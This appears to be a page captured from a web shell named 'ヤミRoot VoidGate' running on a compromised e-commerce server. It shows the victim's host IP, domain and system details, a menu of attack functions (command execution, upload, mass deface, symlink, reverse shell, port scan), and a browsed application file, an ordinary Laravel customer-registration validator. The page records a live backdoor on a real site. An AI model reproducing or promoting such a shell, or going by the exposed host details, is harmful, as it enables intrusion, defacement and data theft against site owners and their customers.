ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
app
/
Http
/
Requests
/
Web
/
Viewing: CustomerRegistrationRequest.php
<?php namespace App\Http\Requests\Web; use App\Traits\RecaptchaTrait; use App\Traits\CalculatorTrait; use App\Traits\ResponseHandler; use Devrabiul\ToastMagic\Facades\ToastMagic; use Illuminate\Support\Facades\Log; use Illuminate\Validation\Validator; use Illuminate\Support\Facades\Session; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Http\Exceptions\HttpResponseException; class CustomerRegistrationRequest extends FormRequest { use RecaptchaTrait; use CalculatorTrait, ResponseHandler; protected $stopOnFirstFailure = true; public function authorize(): bool { return true; } public function rules(): array { return [ 'f_name' => 'required', 'email' => 'required|email|unique:users', 'phone' => 'required|unique:users|max:20', 'password' => 'required|same:con_password', ]; } public function messages(): array { return [ 'f_name.required' => translate('first_name_is_required'), 'email.unique' => translate('email_already_has_been_taken'), 'phone.required' => translate('phone_number_is_required'), 'phone.unique' => translate('phone_number_already_has_been_taken'), 'phone.max' => translate('The_phone_number_may_not_be_greater_than_20_characters'), ]; } public function after(): array { return [ function (Validator $validator) { $numericPhoneValue = preg_replace('/[^0-9]/', '', $this['phone']); $numericLength = strlen($numericPhoneValue); if ($numericLength < 4) { $validator->errors()->add( 'phone.min', translate('The_phone_number_must_be_at_least_4_characters') ); } if ($numericLength > 20) { $validator->errors()->add( 'phone.max', translate('The_phone_number_may_not_be_greater_than_20_characters') ); } } ]; } protected function failedValidation(\Illuminate\Contracts\Validation\Validator $validator) { throw new HttpResponseException(response()->json(['errors' => $this->errorProcessor($validator)])); } }
Coded With 💗 by
0x6ick